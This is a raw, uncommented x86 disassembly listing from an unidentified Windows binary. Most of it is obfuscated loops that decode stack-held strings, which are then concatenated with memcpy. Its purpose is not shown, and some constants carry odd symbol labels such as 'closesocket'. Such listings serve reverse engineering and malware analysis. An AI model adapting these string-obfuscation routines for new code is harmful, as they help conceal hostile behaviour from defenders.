add esp, 8
mov ebx, esi
mov dword [esp + 0x14], ebx
xor eax, eax
mov dword [esp + 0x1e6], eax
mov dword [esp + 0x1e2], eax
xorps xmm0, xmm0
movups xmmword [esp + 0x1d3], xmm0
mov word [esp + 0x1d0], 0x434d
mov byte [esp + 0x1d2], 0x5a
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x46aca1
mov bl, byte [esp + eax + 0x1d0]
movzx edx, bl
lea edi, [ecx + 1]
cmp esi, edi
jae 0x46aa07
cmp ecx, eax
ja 0x46acac
lea ebp, [ecx + 4]
cmp esi, ebp
jae 0x46aa3e
lea ebx, [esi + ecx]
cmp ebx, eax
jbe 0x46aaaa
mov dword [esp], esi
lea esi, [ecx + 9]
cmp dword [esp], esi
mov esi, dword [esp]
je 0x46ab8b
lea esi, [ecx + 5]
cmp dword [esp], esi
mov esi, dword [esp]
je 0x46abae
lea esi, [ecx + 6]
cmp dword [esp], esi
mov esi, dword [esp]
je 0x46ab57
lea esi, [ecx + 3]
cmp dword [esp], esi
mov esi, dword [esp]
jne 0x46abf8
lea edi, [eax + 0x205fdb90]
lea ebx, [eax + edx]
add ebx, 0x205fdb90
and edi, edx
mov byte [esp + 4], 0x10
jmp 0x46aa6b
je 0x46ab0d
lea ebp, [ecx + 3]
cmp esi, ebp
je 0x46aaaf
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x46ab50
mov dword [esp], esi
lea edi, [eax + 0x4ea9a3a4]
lea ebx, [eax + edx]
add ebx, 0x4ea9a3a4
and edi, edx
mov byte [esp + 4], 0x84
jmp 0x46aa6b
cmp esi, edi
je 0x46ab8b
mov dword [esp], esi
lea esi, [ecx + 2]
cmp dword [esp], esi
jne 0x46ab5b
lea edi, [eax - 0x77e8091c]
lea ebx, [eax + edx]
add ebx, 0x8817f6e4
and edi, edx
mov byte [esp + 4], 0xc4
add edi, edi
sub ebx, edi
add bl, byte [esp + 4]
mov dword [esp + 4], ebx
lea esi, [eax + 0x18e40254]
lea ebx, [edx + eax]
add ebx, 0x18e40254
and esi, edx
add esi, esi
sub ebx, esi
add bl, byte [esp + 4]
add bl, 0xb4
mov byte [esp + eax + 0x1d0], bl
mov ebx, dword [esp + 4]
mov esi, dword [esp]
add esi, ecx
movzx edx, bl
not edx
jmp 0x46ab12
cmp ebx, 5
jne 0x46ab19
mov dword [esp], esi
lea esi, [eax + 0x6011ccbc]
lea ebx, [edx + eax]
add ebx, 0x6011ccbc
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0xdc
mov byte [esp + eax + 0x1d0], bl
movzx esi, bl
not ecx
add ecx, eax
sub ecx, esi
mov eax, ecx
mov ecx, edi
lea esi, [eax + 0x3a8b1f0]
lea ebx, [eax + edx]
add ebx, 0x3a8b1f0
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0x70
mov byte [esp + eax + 0x1d0], bl
mov esi, dword [esp]
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
movzx edx, bl
add edx, ecx
add eax, edx
jmp 0x46abb1
cmp esi, edi
je 0x46ab8b
mov dword [esp], esi
lea esi, [ecx + 2]
cmp dword [esp], esi
mov esi, dword [esp]
je 0x46ab57
cmp esi, ebp
jne 0x46ac20
lea esi, [eax + 0x5ed9916c]
lea ebx, [eax + edx]
add ebx, 0x5ed9916c
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0xc
jmp 0x46aa9e
lea ebp, [ecx + 4]
cmp esi, ebp
jne 0x46ab80
mov edi, ecx
jmp 0x46abae
lea esi, [ecx + 3]
cmp dword [esp], esi
jne 0x46abc0
lea esi, [eax - 0x30ba3eb4]
lea ebx, [eax + edx]
add ebx, 0xcf45c14c
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0xec
jmp 0x46aa9e
lea ebp, [ecx + 9]
cmp esi, ebp
jne 0x46a992
mov ebx, esi
lea esi, [eax - 0x2e49c814]
lea ecx, [eax + edx]
add ecx, 0xd1b637ec
and esi, edx
add esi, esi
sub ecx, esi
mov esi, ebx
add cl, 0x8c
mov byte [esp + eax + 0x1d0], cl
dec eax
mov ecx, edi
inc eax
cmp eax, 0x1a
jb 0x46a979
jmp 0x46aca8
lea esi, [ecx + 5]
cmp dword [esp], esi
mov esi, dword [esp]
jne 0x46abeb
lea esi, [eax + 0x16738bb4]
lea ebx, [eax + edx]
add ebx, 0x16738bb4
and esi, edx
add esi, esi
sub ebx, esi
mov esi, dword [esp]
add bl, 0x14
jmp 0x46aaa3
cmp esi, ebp
jne 0x46a9a5
jmp 0x46ab0d
cmp esi, edi
jne 0x46a969
lea esi, [eax - 0x51448fa0]
lea ebx, [eax + edx]
add ebx, 0xaebb7060
and esi, edx
add esi, esi
sub ebx, esi
mov esi, dword [esp]
add bl, 0x60
jmp 0x46aaa3
mov ebx, esi
lea esi, [ecx + 6]
cmp ebx, esi
mov esi, ebx
je 0x46aaaf
mov ebx, esi
lea esi, [ecx + 3]
cmp ebx, esi
je 0x46aade
lea esi, [ecx + 0xa]
cmp ebx, esi
jbe 0x46ac5d
lea esi, [eax + 0x66556aa8]
lea ebx, [eax + edx]
add ebx, 0x66556aa8
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0x68
jmp 0x46ac92
lea esi, [ecx + 7]
cmp ebx, esi
jne 0x46ac6b
mov esi, ebx
jmp 0x46ab57
lea esi, [ecx + 8]
cmp dword [esp], esi
mov esi, dword [esp]
je 0x46ab8b
lea esi, [eax - 0x5c691acc]
lea ebx, [eax + edx]
add ebx, 0xa396e534
and esi, edx
add esi, esi
sub ebx, esi
add bl, 0x94
mov byte [esp + eax + 0x1d0], bl
mov esi, dword [esp]
jmp 0x46abb1
mov eax, 0x138e424
jmp 0x46acb1
xor eax, eax
jmp 0x46acb1
mov eax, 0x161fef0
lea esi, [esp + eax]
add esi, 0x1d0
push 0x800010
call fcn.0040130b
add esp, 4
mov ebp, eax
mov ebx, 0x800000
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], 0x80000f
push ebx
push dword [esp + 0x34]
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [ebp + 0x800000], 0
mov dword [esp + 0x34], ebp
push esi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov edi, eax
cmp eax, 0xf
jbe 0x46ada8
mov dword [esp], esi
cmp edi, 0x7f800000
jae 0x46d62f
mov eax, 0x800000
mov ebx, edi
add ebx, eax
mov eax, ebx
or eax, 0xf
cmp eax, 0xc00017
mov ecx, 0xc00016
cmovae ecx, eax
lea edx, [ecx + 1]
test eax, eax
mov eax, closesocket
cmovns eax, edx
mov esi, closesocket
cmovns esi, ecx
push eax
call fcn.0040130b
add esp, 4
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], esi
mov esi, eax
mov ebx, 0x800000
push ebx
push ebp
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, esi
push edi
push dword [esp + 4]
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [esi + edi + 0x800000], 0
mov ecx, ebp
add ecx, 0xfffffffc
mov eax, dword [ebp - 4]
sub ecx, eax
cmp ecx, 0x20
jae 0x46d634
push 0x800033
push eax
call fcn.00471733
add esp, 8
mov dword [esp + 0x34], esi
jmp 0x46adcb
mov eax, ebp
add eax, ebx
mov ecx, edi
add ecx, 0x800000
mov dword [esp + 0x44], ecx
push edi
push esi
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [ebp + edi + 0x800000], 0
movsd xmm0, qword [esp + 0x44]
lea ecx, [esp + 0xcc]
movsd qword [ecx + 0x10], xmm0
movups xmm0, xmmword [esp + 0x34]
movups xmmword [ecx], xmm0
mov edx, dword [ecx + 0x14]
cmp edx, 0x10
mov edi, dword [ecx]
mov eax, ecx
cmovae eax, edi
mov dword [esp + 4], eax
mov ebp, dword [esp + 0x24]
mov esi, dword [esp + 0x28]
mov eax, esi
sub eax, ebp
mov ebx, dword [ecx + 0x10]
cmp eax, ebx
mov dword [esp], edx
jae 0x46aee5
mov dword [esp + 0x10], closesocket
mov eax, closesocket
sub eax, ebp
cmp eax, ebx
jb 0x46d62f
lea ecx, [ebx + ebp]
mov dword [esp + 0xc], ecx
or ecx, 0xf
mov eax, closesocket
js 0x46ae69
mov edx, esi
shr edx, 1
mov dword [esp + 8], edi
mov edi, edx
xor edi, 0x7fffffff
cmp edi, esi
mov edi, dword [esp + 8]
jb 0x46ae69
add edx, esi
cmp ecx, edx
cmovae edx, ecx
lea eax, [edx + 1]
cmp eax, 0x1000
jb 0x46c7bc
mov dword [esp + 0x10], edx
push eax
call fcn.0040130b
add esp, 4
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0xc]
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], ecx
cmp esi, 0x10
jb 0x46aefb
mov ecx, dword [esp + 0x14]
push ebp
mov dword [esp + 0x14], ecx
push ecx
push eax
mov dword [esp + 0x14], eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, dword [esp + 8]
push ebx
push dword [esp + 8]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov ecx, dword [esp + 8]
mov ebx, ecx
mov eax, dword [esp + 0xc]
mov byte [ecx + eax], 0
lea ecx, [esi + 1]
cmp ecx, 0x1000
jb 0x46af44
mov ecx, dword [esp + 0x10]
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x46d634
add esi, 0x24
mov ecx, esi
jmp 0x46af48
mov dword [esp + 8], edi
lea edi, [ebx + ebp]
mov dword [esp + 0x24], edi
cmp esi, 0x10
jb 0x46af26
mov esi, dword [esp + 0x14]
jmp 0x46af2a
lea ecx, [esp + 0x14]
push ebp
push ecx
push eax
mov esi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, esi
push ebx
push dword [esp + 8]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [esp + 0xc]
mov byte [esi + eax], 0
jmp 0x46af54
lea esi, [esp + 0x14]
add ebp, esi
push ebx
push dword [esp + 8]
push ebp
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + edi], 0
mov edi, dword [esp + 8]
jmp 0x46af58
mov eax, dword [esp + 0x10]
push ecx
push eax
call fcn.00471733
add esp, 8
mov esi, ebx
mov dword [esp + 0x14], esi
mov edx, dword [esp]
cmp edx, 0x10
jb 0x46af8d
lea ecx, [edx + 1]
cmp ecx, 0x1000
jb 0x46af83
mov eax, dword [edi - 4]
add edi, 0xfffffffc
sub edi, eax
cmp edi, 0x20
jae 0x46d634
add edx, 0x24
mov ecx, edx
mov edi, eax
push ecx
push edi
call fcn.00471733
add esp, 8
movaps xmm0, xmmword [0x473c60]
movups xmmword [esp + 0x1d0], xmm0
mov byte [esp + 0x1e0], 0xe8
xorps xmm0, xmm0
movups xmmword [esp + 0x1e1], xmm0
movups xmmword [esp + 0x1ea], xmm0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, esi
mov esi, dword [eax]
xor eax, eax
cmp ecx, eax
ja 0x46b2b8
mov dl, byte [esp + eax + 0x1d0]
movzx edi, dl
lea ebx, [esi + 1]
cmp ecx, ebx
jae 0x46b024
cmp esi, eax
ja 0x46b2c3
lea ebp, [ecx + esi]
cmp ebp, eax
jbe 0x46b03b
lea ebp, [esi + 4]
cmp ecx, ebp
je 0x46b1ff
lea ebx, [esi + 5]
cmp ecx, ebx
jne 0x46b1ad
lea ebx, [eax - 0x1016e550]
lea edx, [eax + edi]
add edx, 0xefe91ab0
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x30
jmp 0x46b160
je 0x46b10f
lea ebp, [esi + 2]
cmp ecx, ebp
jne 0x46b0a6
mov dword [esp], ecx
mov ebx, esi
jmp 0x46b0de
lea ebp, [esi + 0xa]
cmp ecx, ebp
jbe 0x46b116
mov dword [esp], ecx
lea ebp, [eax - 0x652685d4]
lea ecx, [eax + edi]
add ecx, 0x9ad97a2c
and ebp, edi
add ebp, ebp
sub ecx, ebp
add cl, 0xcc
mov ebp, ecx
mov ecx, dword [esp]
cmp ecx, 5
ja 0x46b146
cmp ecx, ebx
je 0x46b10f
lea edx, [esi + 2]
cmp ecx, edx
je 0x46b0b1
lea edx, [esi + 4]
cmp ecx, edx
jne 0x46b272
lea ebx, [eax - 0x273e4bf0]
lea edx, [eax + edi]
add edx, 0xd8c1b410
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x90
jmp 0x46b181
lea ebp, [esi + 3]
cmp ecx, ebp
jne 0x46b18c
mov dword [esp], ecx
lea ebp, [eax + 0x73a5434]
lea edx, [edi + eax]
add edx, 0x73a5434
and ebp, edi
add ebp, ebp
sub edx, ebp
add dl, 0x94
mov byte [esp + eax + 0x1d0], dl
movzx edx, dl
not esi
add esi, eax
sub esi, edx
mov eax, esi
lea edx, [eax - 0x17ceb230]
lea ecx, [eax + edi]
add ecx, 0xe8314dd0
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0x50
mov byte [esp + eax + 0x1d0], cl
mov ecx, dword [esp]
sub eax, ecx
inc ecx
mov dl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
mov esi, ebx
movzx edx, dl
add edx, esi
jmp 0x46b188
cmp ecx, ebx
jne 0x46b1ce
lea edx, [eax - 0x7ca1923c]
mov esi, ecx
lea ecx, [edi + eax]
add ecx, 0x835e6dc4
and edx, edi
add edx, edx
sub ecx, edx
add cl, 0xa4
mov byte [esp + eax + 0x1d0], cl
mov ecx, esi
jmp 0x46b1ff
lea ebp, [eax + 0x64556760]
lea ebx, [eax + edi]
add ebx, 0x64556760
and ebp, edi
add ebp, ebp
sub ebx, ebp
add dl, bl
add dl, 0x60
lea ebp, [eax + 0x454c60fc]
lea ebx, [edi + eax]
add ebx, 0x454c60fc
and ebp, edi
add ebp, ebp
sub ebx, ebp
add bl, dl
add bl, 0x1c
mov byte [esp + eax + 0x1d0], bl
add ecx, esi
movzx edx, dl
not edx
add eax, edx
jmp 0x46b202
lea ebp, [esi + 5]
cmp ecx, ebp
jne 0x46b1f6
lea ebx, [eax - 0x5563464c]
lea edx, [eax + edi]
add edx, 0xaa9cb9b4
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x14
jmp 0x46b181
lea ebx, [esi + 2]
cmp ecx, ebx
jne 0x46b211
lea ebx, [eax + 0x73c50120]
lea edx, [eax + edi]
add edx, 0x73c50120
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x20
jmp 0x46b183
lea ebp, [esi + 2]
cmp ecx, ebp
je 0x46b1fd
lea ebp, [esi + 4]
cmp ecx, ebp
jne 0x46b23c
lea ebx, [eax + 0x266d2d7c]
lea edx, [eax + edi]
add edx, 0x266d2d7c
and ebx, edi
add ebx, ebx
sub edx, ebx
add dl, 0x9c
jmp 0x46b183
lea ebp, [esi + 4]
cmp ecx, ebp
jne 0x46b22c
mov ebx, esi
dec eax
mov esi, ebx
inc eax
cmp eax, 0x2a
jb 0x46afc9
jmp 0x46b2bf
lea ebx, [esi + 3]
cmp ecx, ebx
je 0x46b031
lea edi, [esi + 0x28]
cmp ecx, edi
je 0x46b10f
jmp 0x46afb7
lea ebp, [esi + 7]
cmp ecx, ebp
jne 0x46afe2
jmp 0x46b11e
lea ebp, [esi + 7]
cmp ecx, ebp
je 0x46b0b1
lea ebp, [esi + 6]
cmp ecx, ebp
mov dword [esp], ecx
je 0x46b034
lea ebp, [eax - 0x1f090664]
lea ecx, [eax + edi]
add ecx, 0xe0f6f99c
and ebp, edi
add ebp, ebp
sub ecx, ebp
add cl, 0xbc
jmp 0x46b061
lea edx, [esi + 5]
cmp ecx, edx
jne 0x46b29b
lea ecx, [eax - 0x655058b8]
lea edx, [eax + edi]
add edx, 0x9aafa748
and ecx, edi
add ecx, ecx
sub edx, ecx
add dl, 8
mov ecx, 5
jmp 0x46b160
lea edx, [esi + 3]
cmp ecx, edx
je 0x46b1fd
mov edx, ecx
mov ecx, ebp
mov byte [esp + eax + 0x1d0], cl
mov ecx, edx
jmp 0x46b202
mov eax, 0xe6ae6c
jmp 0x46b2c8
xor eax, eax
jmp 0x46b2c8
mov eax, 0x16fb4d0
lea edi, [esp + eax]
add edi, 0x1d0
push edi
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
add esp, 4
mov esi, eax
mov ebp, dword [esp + 0x24]
mov ebx, dword [esp + 0x28]
mov eax, ebx
sub eax, ebp
cmp eax, esi
jae 0x46b3bc
mov eax, closesocket
sub eax, ebp
cmp eax, esi
jb 0x46d62f
mov dword [esp], closesocket
mov dword [esp + 8], edi
mov edi, esi
add edi, ebp
mov ecx, edi
or ecx, 0xf
mov eax, closesocket
mov dword [esp + 4], edi
js 0x46b34a
mov edx, ebx
shr edx, 1
mov edi, edx
xor edi, 0x7fffffff
cmp edi, ebx
mov edi, dword [esp + 4]
jb 0x46b34a
add edx, ebx
cmp ecx, edx
cmovae edx, ecx
lea eax, [edx + 1]
cmp eax, 0x1000
jb 0x46c7da
mov dword [esp], edx
push eax
call fcn.0040130b
add esp, 4
mov ecx, dword [esp]
mov dword [esp + 0x24], edi
mov dword [esp + 0x28], ecx
cmp ebx, 0x10
jb 0x46b3e8
mov ecx, dword [esp + 0x14]
push ebp
mov dword [esp + 4], ecx
push ecx
push eax
mov edi, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, edi
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov esi, edi
mov eax, dword [esp + 4]
mov byte [edi + eax], 0
lea ecx, [ebx + 1]
cmp ecx, 0x1000
jb 0x46b40f
mov ecx, dword [esp]
mov eax, dword [ecx - 4]
add ecx, 0xfffffffc
sub ecx, eax
cmp ecx, 0x20
jae 0x46d634
add ebx, 0x24
mov ecx, ebx
jmp 0x46b412
mov eax, edi
mov edi, esi
add edi, ebp
mov dword [esp + 0x24], edi
cmp ebx, 0x10
jb 0x46b3d1
mov ebx, dword [esp + 0x14]
jmp 0x46b3d5
lea ebx, [esp + 0x14]
add ebp, ebx
push esi
push eax
push ebp
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x46b422
lea ecx, [esp + 0x14]
push ebp
push ecx
push eax
mov ebx, eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebp, ebx
push esi
push dword [esp + 0xc]
push ebp
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov byte [ebx + edi], 0
jmp 0x46b41e
mov eax, dword [esp]
push ecx
push eax
call fcn.00471733
add esp, 8
mov ebx, esi
mov dword [esp + 0x14], ebx
xor eax, eax
mov dword [esp + 0x79], eax
mov dword [esp + 0x75], eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x70], 0xa5a7a3a5
mov byte [esp + 0x74], 0xb2
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x46b71b
mov bl, byte [esp + eax + 0x70]
movzx edx, bl
lea edi, [ecx + 1]
cmp esi, edi
jae 0x46b4b7
cmp ecx, eax
ja 0x46b726
lea ebp, [ecx + 6]
cmp esi, ebp
jae 0x46b4ec
lea ebp, [esi + ecx]
cmp ebp, eax
jbe 0x46b524
lea ebp, [ecx + 8]
cmp esi, ebp
je 0x46b586
lea ebp, [ecx + 4]
cmp esi, ebp
jne 0x46b5c8
lea edi, [eax - 0x31234e7a]
lea ebx, [eax + edx]
add ebx, 0xcedcb186
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x56
jmp 0x46b65b
je 0x46b578
lea ebp, [ecx + 3]
cmp esi, ebp
je 0x46b529
lea ebp, [ecx + 2]
cmp esi, ebp
jne 0x46b5a4
lea edi, [eax + 0xfc711e1]
lea ebx, [eax + edx]
add ebx, 0xfc711e1
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xd9
jmp 0x46b65d
cmp esi, edi
je 0x46b586
lea ebp, [ecx + 2]
cmp esi, ebp
je 0x46b5e3
lea ebp, [ecx + 4]
cmp esi, ebp
jne 0x46b638
lea edi, [eax + 0x32d6c7d5]
lea ebx, [eax + edx]
add ebx, 0x32d6c7d5
and edi, edx
mov byte [esp], 0x2d
jmp 0x46b60a
cmp ebp, 8
jne 0x46b582
lea ebp, [eax - 0x446bf28d]
lea ebx, [edx + eax]
add ebx, 0xbb940d73
and ebp, edx
add ebp, ebp
sub ebx, ebp
add bl, 0xdb
mov byte [esp + eax + 0x70], bl
movzx ebx, bl
not ecx
add ecx, eax
sub ecx, ebx
mov eax, ecx
mov ecx, edi
lea edi, [eax - 0x42ab2974]
lea ebx, [eax + edx]
add ebx, 0xbd54d68c
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x2c
mov byte [esp + eax + 0x70], bl
sub eax, esi
inc esi
mov bl, byte [esp + eax + 0x6e]
add eax, 0xfffffffe
movzx edx, bl
add edx, ecx
jmp 0x46b662
cmp esi, edi
jne 0x46b5d8
lea ebx, [eax - 0x4b6f16f1]
lea ecx, [eax + edx]
add ecx, 0xb490e90f
and ebx, edx
add ebx, ebx
sub ecx, ebx
add cl, 0x97
mov byte [esp + eax + 0x70], cl
jmp 0x46b5e5
lea ebp, [ecx + 4]
cmp esi, ebp
jne 0x46b5ea
lea edi, [eax + 0x1348a413]
lea ebx, [eax + edx]
add ebx, 0x1348a413
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x7b
jmp 0x46b65b
lea ebp, [ecx + 9]
cmp esi, ebp
je 0x46b552
cmp esi, edi
je 0x46b578
jmp 0x46b444
lea ebp, [ecx + 2]
cmp esi, ebp
jne 0x46b673
mov edi, ecx
dec eax
mov ecx, edi
jmp 0x46b664
lea ebp, [ecx + 5]
cmp esi, ebp
jne 0x46b46a
lea edi, [eax + 0x16ca3645]
lea ebx, [eax + edx]
add ebx, 0x16ca3645
and edi, edx
mov byte [esp], 0x1d
add edi, edi
sub ebx, edi
add bl, byte [esp]
mov dword [esp], ebx
lea edi, [eax - 0x47ed84bf]
lea ebx, [edx + eax]
add ebx, 0xb8127b41
and edi, edx
add edi, edi
sub ebx, edi
add bl, byte [esp]
add bl, 0x39
mov byte [esp + eax + 0x70], bl
mov ebx, dword [esp]
jmp 0x46b65b
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x46b479
lea edi, [eax + 0x36585a07]
lea ebx, [eax + edx]
add ebx, 0x36585a07
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0xcf
add esi, ecx
movzx edx, bl
not edx
add eax, edx
inc eax
cmp eax, 0x14
jb 0x46b454
jmp 0x46b722
lea ebp, [ecx + 4]
cmp esi, ebp
je 0x46b578
lea ebx, [ecx + 5]
cmp esi, ebx
jbe 0x46b6ac
lea ebp, [eax - 0x703f95fe]
lea ebx, [eax + edx]
add ebx, 0x8fc06a02
and ebp, edx
add ebp, ebp
sub ebx, ebp
add bl, 0xf2
cmp ecx, 0xf
ja 0x46b586
mov byte [esp + eax + 0x70], bl
jmp 0x46b664
lea ebp, [ecx + 3]
cmp esi, ebp
jne 0x46b6cd
lea edi, [eax - 0x62394d36]
lea ebx, [eax + edx]
add ebx, 0x9dc6b2ca
and edi, edx
add edi, edi
sub ebx, edi
add bl, 0x7a
jmp 0x46b65d
cmp esi, ebx
jne 0x46b6eb
lea edi, [eax - 0x5b3628d2]
lea ebx, [eax + edx]
add ebx, 0xa4c9d72e
and edi, edx
mov byte [esp], 0xbe
jmp 0x46b60a
lea ebx, [ecx + 7]
cmp esi, ebx
je 0x46b5e3
lea ebx, [ecx + 9]
cmp esi, ebx
je 0x46b586
lea ebp, [eax + 0x1c0c919]
lea ebx, [eax + edx]
add ebx, 0x1c0c919
and ebp, edx
add ebp, ebp
sub ebx, ebp
add bl, 0x51
jmp 0x46b69d
mov eax, 0x147e5e5
jmp 0x46b72b
xor eax, eax
jmp 0x46b72b
mov eax, 0x1471ccc
add eax, esp
add eax, 0x70
mov dword [esp + 0xc], eax
lea eax, [esp + 0x84]
push dword [esp + 0x24]
push eax
call fcn.0045a350
add esp, 8
movaps xmm0, xmmword [0x473c70]
movups xmmword [esp + 0x1d0], xmm0
mov byte [esp + 0x1e0], 0xb6
xorps xmm0, xmm0
movups xmmword [esp + 0x1e1], xmm0
call fcn.0046d640
mov esi, dword [eax]
call fcn.0046d646
mov ecx, dword [eax]
xor eax, eax
cmp esi, eax
ja 0x46bb00
mov dl, byte [esp + eax + 0x1d0]
movzx ebx, dl
lea ebp, [ecx + 1]
cmp esi, ebp
jae 0x46b7de
cmp ecx, eax
ja 0x46bb0b
lea edi, [esi + ecx]
mov dword [esp], edi
cmp edi, eax
jbe 0x46b817
lea edi, [ecx + 0x20]
mov edx, 0x20
cmp esi, edi
jne 0x46b8c1
lea esi, [eax + 0x7a6b1cc3]
lea ecx, [eax + ebx]
add ecx, 0x7a6b1cc3
and esi, ebx
add esi, esi
sub ecx, esi
add cl, 0xab
mov byte [esp + eax + 0x1d0], cl
mov esi, edx
dec eax
mov ecx, ebp
jmp 0x46b9db
je 0x46b975
lea edi, [ecx + 2]
cmp esi, edi
je 0x46b91d
lea edi, [ecx + 4]
cmp esi, edi
jne 0x46b793
lea edi, [eax - 0xbe3917f]
lea edx, [eax + ebx]
add edx, 0xf41c6e81
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x79
add esi, ecx
mov edi, esi
jmp 0x46b8e7
lea edi, [ecx + 0x10]
cmp esi, edi
jae 0x46b90e
mov dword [esp + 4], ebp
lea edi, [eax + 0x26785745]
mov ebp, ebx
add ebx, eax
add ebx, 0x26785745
mov dword [esp + 8], ebp
and edi, ebp
add edi, edi
sub ebx, edi
add bl, 0x1d
mov dword [esp + 0x10], ebx
cmp dword [esp], 4
mov ebx, dword [esp + 8]
mov ebp, dword [esp + 4]
je 0x46b91d
lea edi, [ecx + 2]
cmp esi, edi
jbe 0x46b9a1
mov dword [esp + 0x6c], edi
lea edi, [eax + 0x2aaccb71]
mov dword [esp + 4], ebp
mov ebp, ebx
add ebx, eax
add ebx, 0x2aaccb71
and edi, ebp
mov ebp, dword [esp + 4]
add edi, edi
sub ebx, edi
add bl, 0xe9
mov dword [esp + 0x10], ebx
cmp esi, ebp
je 0x46b975
lea edx, [ecx + 4]
cmp esi, edx
jne 0x46ba61
lea esi, [eax - 0x2cc0a334]
mov edi, dword [esp + 8]
lea edx, [eax + edi]
add edx, 0xd33f5ccc
and esi, edi
add esi, esi
sub edx, esi
add dl, 0x6c
jmp 0x46b9cf
lea edx, [ecx + 4]
cmp esi, edx
jne 0x46b97e
lea esi, [eax + 0x6e878b44]
lea edx, [eax + ebx]
add edx, 0x6e878b44
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0x24
mov edi, dword [esp]
lea esi, [eax - 0x38a434b3]
mov ebp, ebx
add ebx, eax
add ebx, 0xc75bcb4d
and esi, ebp
add esi, esi
sub ebx, esi
add bl, dl
add bl, 0xe5
mov byte [esp + eax + 0x1d0], bl
jmp 0x46b9d2
cmp esi, ebp
je 0x46b975
lea edi, [ecx + 3]
cmp esi, edi
jne 0x46b9ac
lea edi, [eax + 0x144c79d7]
lea edx, [ebx + eax]
add edx, 0x144c79d7
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x1f
mov byte [esp + eax + 0x1d0], dl
movzx edx, dl
not ecx
add ecx, eax
sub ecx, edx
mov eax, ecx
mov ecx, ebp
lea edi, [eax + 0x3ac4d11c]
lea edx, [eax + ebx]
add edx, 0x3ac4d11c
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x3c
mov byte [esp + eax + 0x1d0], dl
sub eax, esi
inc esi
mov dl, byte [esp + eax + 0x1ce]
add eax, 0xfffffffe
movzx edx, dl
add edx, ecx
add eax, edx
jmp 0x46b9db
lea edx, [ecx + 5]
cmp esi, edx
jne 0x46b9ea
lea edi, [eax + 0x868e858]
lea edx, [eax + ebx]
add edx, 0x868e858
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x98
mov edi, esi
jmp 0x46b9d2
cmp esi, ebp
jne 0x46b9fa
mov edx, esi
jmp 0x46b7b5
lea edi, [ecx + 2]
cmp esi, edi
jne 0x46ba3d
lea esi, [eax - 0x7c7ef486]
lea edx, [eax + ebx]
add edx, 0x83810b7a
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0xaa
mov edi, dword [esp]
movzx edx, dl
not edx
add eax, edx
mov esi, edi
inc eax
cmp eax, 0x21
jb 0x46b77a
jmp 0x46bb07
lea edx, [ecx + 0x10]
cmp esi, edx
je 0x46b949
jmp 0x46b76a
cmp esi, edi
je 0x46b7d6
mov dword [esp + 0x6c], edi
lea edi, [ecx + 3]
cmp esi, edi
je 0x46bacb
lea edi, [ecx + 5]
cmp esi, edi
jne 0x46b88d
lea edi, [eax - 0x7af1d53]
mov ebx, dword [esp + 8]
lea edx, [eax + ebx]
add edx, 0xf850e2ad
and edi, ebx
add edi, edi
sub edx, edi
add dl, 0x45
jmp 0x46b99d
lea edi, [ecx + 6]
cmp esi, edi
jne 0x46ba8c
lea esi, [eax - 0x2f8e45fc]
lea edx, [eax + ebx]
add edx, 0xd071ba04
and esi, ebx
add esi, esi
sub edx, esi
add dl, 0xe4
jmp 0x46b8e4
lea edx, [ecx + 5]
cmp esi, edx
mov edi, dword [esp]
mov ebx, dword [esp + 8]
jne 0x46bac4
lea esi, [eax + 0x20300b56]
